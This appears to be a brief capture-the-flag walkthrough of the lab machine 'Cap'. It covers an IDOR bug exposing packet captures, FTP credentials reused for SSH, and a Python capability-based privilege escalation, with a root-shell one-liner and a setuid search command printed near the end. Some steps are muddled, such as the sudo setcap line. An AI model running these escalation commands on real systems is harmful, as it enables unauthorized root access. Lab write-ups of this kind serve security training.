Cap#
ip:10.10.10.245
Cap is a Linux machine running an HTTP server with a simple difficulty level, which performs management functions including network capture. Improper controls lead to insecure direct object references (IDOR), allowing access to captures from other users. The capture contains plaintext credentials that can be used to gain a foothold. Subsequently, Linux features are exploited to escalate to root privileges.
task1
How many TCP ports are open?
3
task2
After running "Security Snapshot", the browser will redirect to a path formatted as/[something]/[id], where[id]represents the scanned ID number. What is[something]?
task3 Can you view the scan results of other users?
By changing the number id after data, you can view the scan results of other users.
task4 What is the ID of the sensitive data contained in the PCAP file?
The id refers to the number of data, and the 0 pcap file contains FTP login account information.
task5 In which application layer protocol does sensitive data appear in the pcap file?
ftp
task6 We have obtained Nathan's FTP password. What other services can this password be used for?
ssh
task 7 Submit the flag located in Nathan's home directory.
ssh nathan@10.10.10.245
You can see the flag after logging in.
task8 Submit the flag located in the root directory.
Check the setuid bit.
find / -perm -u=s -type f 2>/dev/null
Privilege escalation script
https://github.com/carlospolop/PEAss-ng/tree/master/linPEAS
Upload to the target machine 10.10.10.245
python
Reference: https://gtfobins.github.io/gtfobins/python/
cp $(which python) .
sudo setcap cap_setuid+ep python
./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
/usr/bin/python3.8
import os
os.setuid(0)
os.system("/bin/bash")